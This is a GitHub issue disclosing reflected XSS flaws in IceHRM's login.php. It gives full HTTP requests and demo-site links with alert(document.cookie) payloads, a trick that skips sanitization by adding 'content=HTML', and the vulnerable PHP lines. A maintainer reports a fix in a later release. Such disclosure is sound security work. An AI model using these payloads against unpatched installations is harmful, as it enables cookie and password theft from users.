

[New issue](#)[Jump to bottom](#)

Reflected XSS vulnerabilities in login.php -- can be used to leak passwords #284

Closed

cooliscool opened this issue on Dec 23, 2021 · 1 comment

cooliscool commented on Dec 23, 2021 • edited

Important note :

This vulnerability was reported to the maintainers on **Nov 23rd, 2021**, and there has been no response yet. So, I infer it makes sense to publish it publicly here for the good sake of everyone who is using this software actively.

Description

DOM XSS in login.php GET parameter key .

The input to key GET parameter is unsanitized as required for the context (javascript context), and gets reflected in the DOM.

Proof of Concept

Occurrence 1 : Request param key

Request:

```
GET /login.php?key=%27;alert(document.cookie)// HTTP/1.1
Host: icehrmpo.gamonoid.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Alt-Used: icehrmpo.gamonoid.com
Connection: keep-alive
Cookie: PHPSESSID=6jua1ee8xx4s4cqcl3xxx9itr7;
```

Follow the link : [https://icehrmpro.gamonoid.com/login.php?key=%27;alert\(document.cookie\)///](https://icehrmpro.gamonoid.com/login.php?key=%27;alert(document.cookie)///) to test this vulnerability on the live demo version of the website.

Occurence 2 : Request param `fm`

The payload passed `fm` gets sanitized by PHP code. This could be bypassed by adding an extra GET param `content` with the value `HTML` . Thus backend will not sanitize any user input.

```
GET /login.php?f=boo&fm=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E&content=HTML HTTP/1.1
Host: icehrmpro.gamonoid.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Alt-Used: icehrmpro.gamonoid.com
Connection: keep-alive
Cookie: PHPSESSID=6jua1ee8qu4s4cqc13gqm9itr7; _ga=GA1.2.267929257.1637661597;
_gid=GA1.2.561894500.1637661597
Upgrade-Insecure-Requests: 1
```

Follow the link : [https://icehrmpro.gamonoid.com/login.php?f=boo&fm=%3Cimg%20src=x%20onerror=alert\(document.cookie\)%3E&content=HTML](https://icehrmpro.gamonoid.com/login.php?f=boo&fm=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E&content=HTML) to test this vulnerability on the live demo version of the website.

Impact

This vulnerability is capable of script execution on the victim's browser.
It's possible to run a **keylogger** script and **capture password** of the victim user who tries to login by typing in their credentials.

References

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting

Occurrences

1.

HTML sanitization can be bypassed with an extra `content=HTML` GET param

<https://github.com/gamonoid/icehrm/blob/master/core/login.php#L357-L361>

2.

[icehrm/core/login.php](#)

Lines 213 to 219 in f44b9ec

```
213     <script type="text/javascript">
214         var key = "";
215         <?php if (isset($_REQUEST['key'])) {?>
216             key = '<?=$_REQUEST['key']?>';
217             key = key.replace(/ /g, "+");
218             <?php }?>
219     </script>
```

  **cooliscool** changed the title ~~Reflected XSS vulnerabilities #2 in icehrm~~ **Reflected XSS vulnerabilities in login.php -- can be used to leak passwords** on Dec 24, 2021

ddave001 commented on Jan 14

Collaborator

@cooliscool thank you so much for reporting this. This issue is fixed with <https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS>

 **ddave001** closed this as completed on Jan 14

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

